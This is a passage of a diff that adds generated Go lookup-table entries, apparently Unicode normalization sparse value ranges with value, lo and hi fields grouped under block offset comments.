0x96}, + {value: 0x3958, lo: 0x97, hi: 0x97}, + {value: 0x3922, lo: 0x9c, hi: 0x9c}, + {value: 0x390a, lo: 0x9d, hi: 0x9d}, + {value: 0x3934, lo: 0x9e, hi: 0x9e}, + {value: 0xa000, lo: 0xb4, hi: 0xb5}, + {value: 0x395e, lo: 0xb6, hi: 0xb6}, + {value: 0x3964, lo: 0xb7, hi: 0xb7}, + // Block 0x6, offset 0x28 + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0x83, hi: 0x87}, + // Block 0x7, offset 0x2a + {value: 0x0001, lo: 0x04}, + {value: 0x8114, lo: 0x81, hi: 0x82}, + {value: 0x8133, lo: 0x84, hi: 0x84}, + {value: 0x812e, lo: 0x85, hi: 0x85}, + {value: 0x810e, lo: 0x87, hi: 0x87}, + // Block 0x8, offset 0x2f + {value: 0x0000, lo: 0x0a}, + {value: 0x8133, lo: 0x90, hi: 0x97}, + {value: 0x811a, lo: 0x98, hi: 0x98}, + {value: 0x811b, lo: 0x99, hi: 0x99}, + {value: 0x811c, lo: 0x9a, hi: 0x9a}, + {value: 0x3982, lo: 0xa2, hi: 0xa2}, + {value: 0x3988, lo: 0xa3, hi: 0xa3}, + {value: 0x3994, lo: 0xa4, hi: 0xa4}, + {value: 0x398e, lo: 0xa5, hi: 0xa5}, + {value: 0x399a, lo: 0xa6, hi: 0xa6}, + {value: 0xa000, lo: 0xa7, hi: 0xa7}, + // Block 0x9, offset 0x3a + {value: 0x0000, lo: 0x0e}, + {value: 0x39ac, lo: 0x80, hi: 0x80}, + {value: 0xa000, lo: 0x81, hi: 0x81}, + {value: 0x39a0, lo: 0x82, hi: 0x82}, + {value: 0xa000, lo: 0x92, hi: 0x92}, + {value: 0x39a6, lo: 0x93, hi: 0x93}, + {value: 0xa000, lo: 0x95, hi: 0x95}, + {value: 0x8133, lo: 0x96, hi: 0x9c}, + {value: 0x8133, lo: 0x9f, hi: 0xa2}, + {value: 0x812e, lo: 0xa3, hi: 0xa3}, + {value: 0x8133, lo: 0xa4, hi: 0xa4}, + {value: 0x8133, lo: 0xa7, hi: 0xa8}, + {value: 0x812e, lo: 0xaa, hi: 0xaa}, + {value: 0x8133, lo: 0xab, hi: 0xac}, + {value: 0x812e, lo: 0xad, hi: 0xad}, + // Block 0xa, offset 0x49 + {value: 0x0000, lo: 0x0c}, + {value: 0x8120, lo: 0x91, hi: 0x91}, + {value: 0x8133, lo: 0xb0, hi: 0xb0}, + {value: 0x812e, lo: 0xb1, hi: 0xb1}, + {value: 0x8133, lo: 0xb2, hi: 0xb3}, + {value: 0x812e, lo: 0xb4, hi: 0xb4}, + {value: 0x8133, lo: 0xb5, hi: 0xb6}, + {value: 0x812e, lo: 0xb7, hi: 0xb9}, + {value: 0x8133, lo: 0xba, hi: 0xba}, + {value: 0x812e, lo: 0xbb, hi: 0xbc}, + {value: 0x8133, lo: 0xbd, hi: 0xbd}, + {value: 0x812e, lo: 0xbe, hi: 0xbe}, + {value: 0x8133, lo: 0xbf, hi: 0xbf}, + // Block 0xb, offset 0x56 + {value: 0x0005, lo: 0x07}, + {value: 0x8133, lo: 0x80, hi: 0x80}, + {value: 0x8133, lo: 0x81, hi: 0x81}, + {value: 0x812e, lo: 0x82, hi: 0x83}, + {value: 0x812e, lo: 0x84, hi: 0x85}, + {value: 0x812e, lo: 0x86, hi: 0x87}, + {value: 0x812e, lo: 0x88, hi: 0x89}, + {value: 0x8133, lo: 0x8a, hi: 0x8a}, + // Block 0xc, offset 0x5e + {value: 0x0000, lo: 0x04}, + {value: 0x8133, lo: 0xab, hi: 0xb1}, + {value: 0x812e, lo: 0xb2, hi: 0xb2}, + {value: 0x8133, lo: 0xb3, hi: 0xb3}, + {value: 0x812e, lo: 0xbd, hi: 0xbd}, + // Block 0xd, offset 0x63 + {value: 0x0000, lo: 0x04}, + {value: 0x8133, lo: 0x96, hi: 0x99}, + {value: 0x8133, lo: 0x9b, hi: 0xa3}, + {value: 0x8133, lo: 0xa5, hi: 0xa7}, + {value: 0x8133, lo: 0xa9, hi: 0xad}, + // Block 0xe, offset 0x68 + {value: 0x0000, lo: 0x01}, + {value: 0x812e, lo: 0x99, hi: 0x9b}, + // Block 0xf, offset 0x6a + {value: 0x0000, lo: 0x03}, + {value: 0x8133, lo: 0x98, hi: 0x98}, + {value: 0x812e, lo: 0x99, hi: 0x9b}, + {value: 0x8133, lo: 0x9c, hi: 0x9f}, + // Block 0x10, offset 0x6e + {value: 0x0000, lo: 0x07}, + {value: 0xa000, lo: 0xa8, hi: 0xa8}, + {value: 0x4019, lo: 0xa9, hi: 0xa9}, + {value: 0xa000, lo: 0xb0, hi: 0xb0}, + {value: 0x4021, lo: 0xb1, hi: 0xb1}, + {value: 0xa000, lo: 0xb3, hi: 0xb3}, + {value: 0x4029, lo: 0xb4, hi: 0xb4}, + {value: 0x9903, lo: 0xbc, hi: 0xbc}, + // Block 0x11, offset 0x76 + {value: 0x0008, lo: 0x06}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + {value: 0x8133, lo: 0x91, hi: 0x91}, + {value: 0x812e, lo: 0x92, hi: 0x92}, + {value: 0x8133, lo: 0x93, hi: 0x93}, + {value: 0x8133, lo: 0x94, hi: 0x94}, + {value: 0x465d, lo: 0x98, hi: 0x9f}, + // Block 0x12, offset 0x7d + {value: 0x0000, lo: 0x02}, + {value: 0x8103, lo: 0xbc, hi: 0xbc}, + {value: 0x9900, lo: 0xbe, hi: 0xbe}, + // Block 0x13, offset 0x80 + {value: 0x0008, lo: 0x07}, + {value: 0xa000, lo: 0x87, hi: 0x87}, + {value: 0x2dd5, lo: 0x8b, hi: 0x8c}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + {value: 0x9900, lo: 0x97, hi: 0x97}, + {value: 0x469d, lo: 0x9c, hi: 0x9d}, + {value: 0x46ad, lo: 0x9f, hi: 0x9f}, + {value: 0x8133, lo: 0xbe, hi: 0xbe}, + // Block 0x14, offset 0x88 + {value: 0x0000, lo: 0x03}, + {value: 0x46d5, lo: 0xb3, hi: 0xb3}, + {value: 0x46dd, lo: 0xb6, hi: 0xb6}, + {value: 0x8103, lo: 0xbc, hi: 0xbc}, + // Block 0x15, offset 0x8c + {value: 0x0008, lo: 0x03}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + {value: 0x46b5, lo: 0x99, hi: 0x9b}, + {value: 0x46cd, lo: 0x9e, hi: 0x9e}, + // Block 0x16, offset 0x90 + {value: 0x0000, lo: 0x01}, + {value: 0x8103, lo: 0xbc, hi: 0xbc}, + // Block 0x17, offset 0x92 + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + // Block 0x18, offset 0x94 + {value: 0x0000, lo: 0x08}, + {value: 0xa000, lo: 0x87, hi: 0x87}, + {value: 0x2ded, lo: 0x88, hi: 0x88}, + {value: 0x2de5, lo: 0x8b, hi: 0x8b}, + {value: 0x2df5, lo: 0x8c, hi: 0x8c}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + {value: 0x9900, lo: 0x96, hi: 0x97}, + {value: 0x46e5, lo: 0x9c, hi: 0x9c}, + {value: 0x46ed, lo: 0x9d, hi: 0x9d}, + // Block 0x19, offset 0x9d + {value: 0x0000, lo: 0x03}, + {value: 0xa000, lo: 0x92, hi: 0x92}, + {value: 0x2dfd, lo: 0x94, hi: 0x94}, + {value: 0x9900, lo: 0xbe, hi: 0xbe}, + // Block 0x1a, offset 0xa1 + {value: 0x0000, lo: 0x06}, + {value: 0xa000, lo: 0x86, hi: 0x87}, + {value: 0x2e05, lo: 0x8a, hi: 0x8a}, + {value: 0x2e15, lo: 0x8b, hi: 0x8b}, + {value: 0x2e0d, lo: 0x8c, hi: 0x8c}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + {value: 0x9900, lo: 0x97, hi: 0x97}, + // Block 0x1b, offset 0xa8 + {value: 0x1801, lo: 0x04}, + {value: 0xa000, lo: 0x86, hi: 0x86}, + {value: 0x4031, lo: 0x88, hi: 0x88}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + {value: 0x8121, lo: 0x95, hi: 0x96}, + // Block 0x1c, offset 0xad + {value: 0x0000, lo: 0x02}, + {value: 0x8103, lo: 0xbc, hi: 0xbc}, + {value: 0xa000, lo: 0xbf, hi: 0xbf}, + // Block 0x1d, offset 0xb0 + {value: 0x0000, lo: 0x09}, + {value: 0x2e1d, lo: 0x80, hi: 0x80}, + {value: 0x9900, lo: 0x82, hi: 0x82}, + {value: 0xa000, lo: 0x86, hi: 0x86}, + {value: 0x2e25, lo: 0x87, hi: 0x87}, + {value: 0x2e2d, lo: 0x88, hi: 0x88}, + {value: 0x3091, lo: 0x8a, hi: 0x8a}, + {value: 0x2f19, lo: 0x8b, hi: 0x8b}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + {value: 0x9900, lo: 0x95, hi: 0x96}, + // Block 0x1e, offset 0xba + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0xbb, hi: 0xbc}, + {value: 0x9900, lo: 0xbe, hi: 0xbe}, + // Block 0x1f, offset 0xbd + {value: 0x0000, lo: 0x06}, + {value: 0xa000, lo: 0x86, hi: 0x87}, + {value: 0x2e35, lo: 0x8a, hi: 0x8a}, + {value: 0x2e45, lo: 0x8b, hi: 0x8b}, + {value: 0x2e3d, lo: 0x8c, hi: 0x8c}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + {value: 0x9900, lo: 0x97, hi: 0x97}, + // Block 0x20, offset 0xc4 + {value: 0x6ab3, lo: 0x07}, + {value: 0x9905, lo: 0x8a, hi: 0x8a}, + {value: 0x9900, lo: 0x8f, hi: 0x8f}, + {value: 0xa000, lo: 0x99, hi: 0x99}, + {value: 0x4039, lo: 0x9a, hi: 0x9a}, + {value: 0x3099, lo: 0x9c, hi: 0x9c}, + {value: 0x2f24, lo: 0x9d, hi: 0x9d}, + {value: 0x2e4d, lo: 0x9e, hi: 0x9f}, + // Block 0x21, offset 0xcc + {value: 0x0000, lo: 0x02}, + {value: 0x8123, lo: 0xb8, hi: 0xb9}, + {value: 0x8105, lo: 0xba, hi: 0xba}, + // Block 0x22, offset 0xcf + {value: 0x0000, lo: 0x01}, + {value: 0x8124, lo: 0x88, hi: 0x8b}, + // Block 0x23, offset 0xd1 + {value: 0x0000, lo: 0x02}, + {value: 0x8125, lo: 0xb8, hi: 0xb9}, + {value: 0x8105, lo: 0xba, hi: 0xba}, + // Block 0x24, offset 0xd4 + {value: 0x0000, lo: 0x01}, + {value: 0x8126, lo: 0x88, hi: 0x8b}, + // Block 0x25, offset 0xd6 + {value: 0x0000, lo: 0x04}, + {value: 0x812e, lo: 0x98, hi: 0x99}, + {value: 0x812e, lo: 0xb5, hi: 0xb5}, + {value: 0x812e, lo: 0xb7, hi: 0xb7}, + {value: 0x812c, lo: 0xb9, hi: 0xb9}, + // Block 0x26, offset 0xdb + {value: 0x0000, lo: 0x10}, + {value: 0x2774, lo: 0x83, hi: 0x83}, + {value: 0x277b, lo: 0x8d, hi: 0x8d}, + {value: 0x2782, lo: 0x92, hi: 0x92}, + {value: 0x2789, lo: 0x97, hi: 0x97}, + {value: 0x2790, lo: 0x9c, hi: 0x9c}, + {value: 0x276d, lo: 0xa9, hi: 0xa9}, + {value: 0x8127, lo: 0xb1, hi: 0xb1}, + {value: 0x8128, lo: 0xb2, hi: 0xb2}, + {value: 0x4bc5, lo: 0xb3, hi: 0xb3}, + {value: 0x8129, lo: 0xb4, hi: 0xb4}, + {value: 0x4bce, lo: 0xb5, hi: 0xb5}, + {value: 0x46f5, lo: 0xb6, hi: 0xb6}, + {value: 0x8200, lo: 0xb7, hi: 0xb7}, + {value: 0x46fd, lo: 0xb8, hi: 0xb8}, + {value: 0x8200, lo: 0xb9, hi: 0xb9}, + {value: 0x8128, lo: 0xba, hi: 0xbd}, + // Block 0x27, offset 0xec + {value: 0x0000, lo: 0x0b}, + {value: 0x8128, lo: 0x80, hi: 0x80}, + {value: 0x4bd7, lo: 0x81, hi: 0x81}, + {value: 0x8133, lo: 0x82, hi: 0x83}, + {value: 0x8105, lo: 0x84, hi: 0x84}, + {value: 0x8133, lo: 0x86, hi: 0x87}, + {value: 0x279e, lo: 0x93, hi: 0x93}, + {value: 0x27a5, lo: 0x9d, hi: 0x9d}, + {value: 0x27ac, lo: 0xa2, hi: 0xa2}, + {value: 0x27b3, lo: 0xa7, hi: 0xa7}, + {value: 0x27ba, lo: 0xac, hi: 0xac}, + {value: 0x2797, lo: 0xb9, hi: 0xb9}, + // Block 0x28, offset 0xf8 + {value: 0x0000, lo: 0x01}, + {value: 0x812e, lo: 0x86, hi: 0x86}, + // Block 0x29, offset 0xfa + {value: 0x0000, lo: 0x05}, + {value: 0xa000, lo: 0xa5, hi: 0xa5}, + {value: 0x2e55, lo: 0xa6, hi: 0xa6}, + {value: 0x9900, lo: 0xae, hi: 0xae}, + {value: 0x8103, lo: 0xb7, hi: 0xb7}, + {value: 0x8105, lo: 0xb9, hi: 0xba}, + // Block 0x2a, offset 0x100 + {value: 0x0000, lo: 0x01}, + {value: 0x812e, lo: 0x8d, hi: 0x8d}, + // Block 0x2b, offset 0x102 + {value: 0x0000, lo: 0x01}, + {value: 0xa000, lo: 0x80, hi: 0x92}, + // Block 0x2c, offset 0x104 + {value: 0x0000, lo: 0x01}, + {value: 0xb900, lo: 0xa1, hi: 0xb5}, + // Block 0x2d, offset 0x106 + {value: 0x0000, lo: 0x01}, + {value: 0x9900, lo: 0xa8, hi: 0xbf}, + // Block 0x2e, offset 0x108 + {value: 0x0000, lo: 0x01}, + {value: 0x9900, lo: 0x80, hi: 0x82}, + // Block 0x2f, offset 0x10a + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0x9d, hi: 0x9f}, + // Block 0x30, offset 0x10c + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0x94, hi: 0x95}, + {value: 0x8105, lo: 0xb4, hi: 0xb4}, + // Block 0x31, offset 0x10f + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0x92, hi: 0x92}, + {value: 0x8133, lo: 0x9d, hi: 0x9d}, + // Block 0x32, offset 0x112 + {value: 0x0000, lo: 0x01}, + {value: 0x8132, lo: 0xa9, hi: 0xa9}, + // Block 0x33, offset 0x114 + {value: 0x0004, lo: 0x02}, + {value: 0x812f, lo: 0xb9, hi: 0xba}, + {value: 0x812e, lo: 0xbb, hi: 0xbb}, + // Block 0x34, offset 0x117 + {value: 0x0000, lo: 0x02}, + {value: 0x8133, lo: 0x97, hi: 0x97}, + {value: 0x812e, lo: 0x98, hi: 0x98}, + // Block 0x35, offset 0x11a + {value: 0x0000, lo: 0x03}, + {value: 0x8105, lo: 0xa0, hi: 0xa0}, + {value: 0x8133, lo: 0xb5, hi: 0xbc}, + {value: 0x812e, lo: 0xbf, hi: 0xbf}, + // Block 0x36, offset 0x11e + {value: 0x0000, lo: 0x05}, + {value: 0x8133, lo: 0xb0, hi: 0xb4}, + {value: 0x812e, lo: 0xb5, hi: 0xba}, + {value: 0x8133, lo: 0xbb, hi: 0xbc}, + {value: 0x812e, lo: 0xbd, hi: 0xbd}, + {value: 0x812e, lo: 0xbf, hi: 0xbf}, + // Block 0x37, offset 0x124 + {value: 0x0000, lo: 0x06}, + {value: 0x812e, lo: 0x80, hi: 0x80}, + {value: 0x8133, lo: 0x81, hi: 0x82}, + {value: 0x812e, lo: 0x83, hi: 0x84}, + {value: 0x8133, lo: 0x85, hi: 0x89}, + {value: 0x812e, lo: 0x8a, hi: 0x8a}, + {value: 0x8133, lo: 0x8b, hi: 0x8e}, + // Block 0x38, offset 0x12b + {value: 0x0000, lo: 0x08}, + {value: 0x2e9d, lo: 0x80, hi: 0x80}, + {value: 0x2ea5, lo: 0x81, hi: 0x81}, + {value: 0xa000, lo: 0x82, hi: 0x82}, + {value: 0x2ead, lo: 0x83, hi: 0x83}, + {value: 0x8105, lo: 0x84, hi: 0x84}, + {value: 0x8133, lo: 0xab, hi: 0xab}, + {value: 0x812e, lo: 0xac, hi: 0xac}, + {value: 0x8133, lo: 0xad, hi: 0xb3}, + // Block 0x39, offset 0x134 + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0xaa, hi: 0xab}, + // Block 0x3a, offset 0x136 + {value: 0x0000, lo: 0x02}, + {value: 0x8103, lo: 0xa6, hi: 0xa6}, + {value: 0x8105, lo: 0xb2, hi: 0xb3}, + // Block 0x3b, offset 0x139 + {value: 0x0000, lo: 0x01}, + {value: 0x8103, lo: 0xb7, hi: 0xb7}, + // Block 0x3c, offset 0x13b + {value: 0x0000, lo: 0x0a}, + {value: 0x8133, lo: 0x90, hi: 0x92}, + {value: 0x8101, lo: 0x94, hi: 0x94}, + {value: 0x812e, lo: 0x95, hi: 0x99}, + {value: 0x8133, lo: 0x9a, hi: 0x9b}, + {value: 0x812e, lo: 0x9c, hi: 0x9f}, + {value: 0x8133, lo: 0xa0, hi: 0xa0}, + {value: 0x8101, lo: 0xa2, hi: 0xa8}, + {value: 0x812e, lo: 0xad, hi: 0xad}, + {value: 0x8133, lo: 0xb4, hi: 0xb4}, + {value: 0x8133, lo: 0xb8, hi: 0xb9}, + // Block 0x3d, offset 0x146 + {value: 0x0004, lo: 0x03}, + {value: 0x052a, lo: 0x80, hi: 0x81}, + {value: 0x8100, lo: 0x97, hi: 0x97}, + {value: 0x8100, lo: 0xbe, hi: 0xbe}, + // Block 0x3e, offset 0x14a + {value: 0x0000, lo: 0x0d}, + {value: 0x8133, lo: 0x90, hi: 0x91}, + {value: 0x8101, lo: 0x92, hi: 0x93}, + {value: 0x8133, lo: 0x94, hi: 0x97}, + {value: 0x8101, lo: 0x98, hi: 0x9a}, + {value: 0x8133, lo: 0x9b, hi: 0x9c}, + {value: 0x8133, lo: 0xa1, hi: 0xa1}, + {value: 0x8101, lo: 0xa5, hi: 0xa6}, + {value: 0x8133, lo: 0xa7, hi: 0xa7}, + {value: 0x812e, lo: 0xa8, hi: 0xa8}, + {value: 0x8133, lo: 0xa9, hi: 0xa9}, + {value: 0x8101, lo: 0xaa, hi: 0xab}, + {value: 0x812e, lo: 0xac, hi: 0xaf}, + {value: 0x8133, lo: 0xb0, hi: 0xb0}, + // Block 0x3f, offset 0x158 + {value: 0x43bc, lo: 0x02}, + {value: 0x023c, lo: 0xa6, hi: 0xa6}, + {value: 0x0057, lo: 0xaa, hi: 0xab}, + // Block 0x40, offset 0x15b + {value: 0x0007, lo: 0x05}, + {value: 0xa000, lo: 0x90, hi: 0x90}, + {value: 0xa000, lo: 0x92, hi: 0x92}, + {value: 0xa000, lo: 0x94, hi: 0x94}, + {value: 0x3cfa, lo: 0x9a, hi: 0x9b}, + {value: 0x3d08, lo: 0xae, hi: 0xae}, + // Block 0x41, offset 0x161 + {value: 0x000e, lo: 0x05}, + {value: 0x3d0f, lo: 0x8d, hi: 0x8e}, + {value: 0x3d16, lo: 0x8f, hi: 0x8f}, + {value: 0xa000, lo: 0x90, hi: 0x90}, + {value: 0xa000, lo: 0x92, hi: 0x92}, + {value: 0xa000, lo: 0x94, hi: 0x94}, + // Block 0x42, offset 0x167 + {value: 0x62c7, lo: 0x0a}, + {value: 0xa000, lo: 0x83, hi: 0x83}, + {value: 0x3d24, lo: 0x84, hi: 0x84}, + {value: 0xa000, lo: 0x88, hi: 0x88}, + {value: 0x3d2b, lo: 0x89, hi: 0x89}, + {value: 0xa000, lo: 0x8b, hi: 0x8b}, + {value: 0x3d32, lo: 0x8c, hi: 0x8c}, + {value: 0xa000, lo: 0xa3, hi: 0xa3}, + {value: 0x3d39, lo: 0xa4, hi: 0xa5}, + {value: 0x3d40, lo: 0xa6, hi: 0xa6}, + {value: 0xa000, lo: 0xbc, hi: 0xbc}, + // Block 0x43, offset 0x172 + {value: 0x0007, lo: 0x03}, + {value: 0x3da9, lo: 0xa0, hi: 0xa1}, + {value: 0x3dd3, lo: 0xa2, hi: 0xa3}, + {value: 0x3dfd, lo: 0xaa, hi: 0xad}, + // Block 0x44, offset 0x176 + {value: 0x0004, lo: 0x01}, + {value: 0x0586, lo: 0xa9, hi: 0xaa}, + // Block 0x45, offset 0x178 + {value: 0x0000, lo: 0x01}, + {value: 0x461e, lo: 0x9c, hi: 0x9c}, + // Block 0x46, offset 0x17a + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0xaf, hi: 0xb1}, + // Block 0x47, offset 0x17c + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0xbf, hi: 0xbf}, + // Block 0x48, offset 0x17e + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0xa0, hi: 0xbf}, + // Block 0x49, offset 0x180 + {value: 0x0000, lo: 0x05}, + {value: 0x812d, lo: 0xaa, hi: 0xaa}, + {value: 0x8132, lo: 0xab, hi: 0xab}, + {value: 0x8134, lo: 0xac, hi: 0xac}, + {value: 0x812f, lo: 0xad, hi: 0xad}, + {value: 0x8130, lo: 0xae, hi: 0xaf}, + // Block 0x4a, offset 0x186 + {value: 0x0000, lo: 0x03}, + {value: 0x4be0, lo: 0xb3, hi: 0xb3}, + {value: 0x4be0, lo: 0xb5, hi: 0xb6}, + {value: 0x4be0, lo: 0xba, hi: 0xbf}, + // Block 0x4b, offset 0x18a + {value: 0x0000, lo: 0x01}, + {value: 0x4be0, lo: 0x8f, hi: 0xa3}, + // Block 0x4c, offset 0x18c + {value: 0x0000, lo: 0x01}, + {value: 0x8100, lo: 0xae, hi: 0xbe}, + // Block 0x4d, offset 0x18e + {value: 0x0000, lo: 0x07}, + {value: 0x8100, lo: 0x84, hi: 0x84}, + {value: 0x8100, lo: 0x87, hi: 0x87}, + {value: 0x8100, lo: 0x90, hi: 0x90}, + {value: 0x8100, lo: 0x9e, hi: 0x9e}, + {value: 0x8100, lo: 0xa1, hi: 0xa1}, + {value: 0x8100, lo: 0xb2, hi: 0xb2}, + {value: 0x8100, lo: 0xbb, hi: 0xbb}, + // Block 0x4e, offset 0x196 + {value: 0x0000, lo: 0x03}, + {value: 0x8100, lo: 0x80, hi: 0x80}, + {value: 0x8100, lo: 0x8b, hi: 0x8b}, + {value: 0x8100, lo: 0x8e, hi: 0x8e}, + // Block 0x4f, offset 0x19a + {value: 0x0000, lo: 0x02}, + {value: 0x8133, lo: 0xaf, hi: 0xaf}, + {value: 0x8133, lo: 0xb4, hi: 0xbd}, + // Block 0x50, offset 0x19d + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0x9e, hi: 0x9f}, + // Block 0x51, offset 0x19f + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0xb0, hi: 0xb1}, + // Block 0x52, offset 0x1a1 + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0x86, hi: 0x86}, + {value: 0x8105, lo: 0xac, hi: 0xac}, + // Block 0x53, offset 0x1a4 + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0x84, hi: 0x84}, + {value: 0x8133, lo: 0xa0, hi: 0xb1}, + // Block 0x54, offset 0x1a7 + {value: 0x0000, lo: 0x01}, + {value: 0x812e, lo: 0xab, hi: 0xad}, + // Block 0x55, offset 0x1a9 + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0x93, hi: 0x93}, + // Block 0x56, offset 0x1ab + {value: 0x0000, lo: 0x01}, + {value: 0x8103, lo: 0xb3, hi: 0xb3}, + // Block 0x57, offset 0x1ad + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0x80, hi: 0x80}, + // Block 0x58, offset 0x1af + {value: 0x0000, lo: 0x05}, + {value: 0x8133, lo: 0xb0, hi: 0xb0}, + {value: 0x8133, lo: 0xb2, hi: 0xb3}, + {value: 0x812e, lo: 0xb4, hi: 0xb4}, + {value: 0x8133, lo: 0xb7, hi: 0xb8}, + {value: 0x8133, lo: 0xbe, hi: 0xbf}, + // Block 0x59, offset 0x1b5 + {value: 0x0000, lo: 0x02}, + {value: 0x8133, lo: 0x81, hi: 0x81}, + {value: 0x8105, lo: 0xb6, hi: 0xb6}, + // Block 0x5a, offset 0x1b8 + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0xad, hi: 0xad}, + // Block 0x5b, offset 0x1ba + {value: 0x0000, lo: 0x06}, + {value: 0xe500, lo: 0x80, hi: 0x80}, + {value: 0xc600, lo: 0x81, hi: 0x9b}, + {value: 0xe500, lo: 0x9c, hi: 0x9c}, + {value: 0xc600, lo: 0x9d, hi: 0xb7}, + {value: 0xe500, lo: 0xb8, hi: 0xb8}, + {value: 0xc600, lo: 0xb9, hi: 0xbf}, + // Block 0x5c, offset 0x1c1 + {value: 0x0000, lo: 0x05}, + {value: 0xc600, lo: 0x80, hi: 0x93}, + {value: 0xe500, lo: 0x94, hi: 0x94}, + {value: 0xc600, lo: 0x95, hi: 0xaf}, + {value: 0xe500, lo: 0xb0, hi: 0xb0}, + {value: 0xc600, lo: 0xb1, hi: 0xbf}, + // Block 0x5d, offset 0x1c7 + {value: 0x0000, lo: 0x05}, + {value: 0xc600, lo: 0x80, hi: 0x8b}, + {value: 0xe500, lo: 0x8c, hi: 0x8c}, + {value: 0xc600, lo: 0x8d, hi: 0xa7}, + {value: 0xe500, lo: 0xa8, hi: 0xa8}, + {value: 0xc600, lo: 0xa9, hi: 0xbf}, + // Block 0x5e, offset 0x1cd + {value: 0x0000, lo: 0x07}, + {value: 0xc600, lo: 0x80, hi: 0x83}, + {value: 0xe500, lo: 0x84, hi: 0x84}, + {value: 0xc600, lo: 0x85, hi: 0x9f}, + {value: 0xe500, lo: 0xa0, hi: 0xa0}, + {value: 0xc600, lo: 0xa1, hi: 0xbb}, + {value: 0xe500, lo: 0xbc, hi: 0xbc}, + {value: 0xc600, lo: 0xbd, hi: 0xbf}, + // Block 0x5f, offset 0x1d5 + {value: 0x0000, lo: 0x05}, + {value: 0xc600, lo: 0x80, hi: 0x97}, + {value: 0xe500, lo: 0x98, hi: 0x98}, + {value: 0xc600, lo: 0x99, hi: 0xb3}, + {value: 0xe500, lo: 0xb4, hi: 0xb4}, + {value: 0xc600, lo: 0xb5, hi: 0xbf}, + // Block 0x60, offset 0x1db + {value: 0x0000, lo: 0x05}, + {value: 0xc600, lo: 0x80, hi: 0x8f}, + {value: 0xe500, lo: 0x90, hi: 0x90}, + {value: 0xc600, lo: 0x91, hi: 0xab}, + {value: 0xe500, lo: 0xac, hi: 0xac}, + {value: 0xc600, lo: 0xad, hi: 0xbf}, + // Block 0x61, offset 0x1e1 + {value: 0x0000, lo: 0x05}, + {value: 0xc600, lo: 0x80, hi: 0x87}, + {value: 0xe500, lo: 0x88, hi: 0x88}, + {value: 0xc600, lo: 0x89, hi: 0xa3}, + {value: 0xe500, lo: 0xa4, hi: 0xa4}, + {value: 0xc600, lo: 0xa5, hi: 0xbf}, + // Block 0x62, offset 0x1e7 + {value: 0x0000, lo: 0x03}, + {value: 0xc600, lo: 0x80, hi: 0x87}, + {value: 0xe500, lo: 0x88, hi: 0x88}, + {value: 0xc600, lo: 0x89, hi: 0xa3}, + // Block 0x63, offset 0x1eb + {value: 0x0006, lo: 0x0d}, + {value: 0x44d1, lo: 0x9d, hi: 0x9d}, + {value: 0x8116, lo: 0x9e, hi: 0x9e}, + {value: 0x4543, lo: 0x9f, hi: 0x9f}, + {value: 0x4531, lo: 0xaa, hi: 0xab}, + {value: 0x4635, lo: 0xac, hi: 0xac}, + {value: 0x463d, lo: 0xad, hi: 0xad}, + {value: 0x4489, lo: 0xae, hi: 0xb1}, + {value: 0x44a7, lo: 0xb2, hi: 0xb4}, + {value: 0x44bf, lo: 0xb5, hi: 0xb6}, + {value: 0x44cb, lo: 0xb8, hi: 0xb8}, + {value: 0x44d7, lo: 0xb9, hi: 0xbb}, + {value: 0x44ef, lo: 0xbc, hi: 0xbc}, + {value: 0x44f5, lo: 0xbe, hi: 0xbe}, + // Block 0x64, offset 0x1f9 + {value: 0x0006, lo: 0x08}, + {value: 0x44fb, lo: 0x80, hi: 0x81}, + {value: 0x4507, lo: 0x83, hi: 0x84}, + {value: 0x4519, lo: 0x86, hi: 0x89}, + {value: 0x453d, lo: 0x8a, hi: 0x8a}, + {value: 0x44b9, lo: 0x8b, hi: 0x8b}, + {value: 0x44a1, lo: 0x8c, hi: 0x8c}, + {value: 0x44e9, lo: 0x8d, hi: 0x8d}, + {value: 0x4513, lo: 0x8e, hi: 0x8e}, + // Block 0x65, offset 0x202 + {value: 0x0000, lo: 0x02}, + {value: 0x8100, lo: 0xa4, hi: 0xa5}, + {value: 0x8100, lo: 0xb0, hi: 0xb1}, + // Block 0x66, offset 0x205 + {value: 0x0000, lo: 0x02}, + {value: 0x8100, lo: 0x9b, hi: 0x9d}, + {value: 0x8200, lo: 0x9e, hi: 0xa3}, + // Block 0x67, offset 0x208 + {value: 0x0000, lo: 0x01}, + {value: 0x8100, lo: 0x90, hi: 0x90}, + // Block 0x68, offset 0x20a + {value: 0x0000, lo: 0x02}, + {value: 0x8100, lo: 0x99, hi: 0x99}, + {value: 0x8200, lo: 0xb2, hi: 0xb4}, + // Block 0x69, offset 0x20d + {value: 0x0000, lo: 0x01}, + {value: 0x8100, lo: 0xbc, hi: 0xbd}, + // Block 0x6a, offset 0x20f + {value: 0x0000, lo: 0x03}, + {value: 0x8133, lo: 0xa0, hi: 0xa6}, + {value: 0x812e, lo: 0xa7, hi: 0xad}, + {value: 0x8133, lo: 0xae, hi: 0xaf}, + // Block 0x6b, offset 0x213 + {value: 0x0000, lo: 0x04}, + {value: 0x8100, lo: 0x89, hi: 0x8c}, + {value: 0x8100, lo: 0xb0, hi: 0xb2}, + {value: 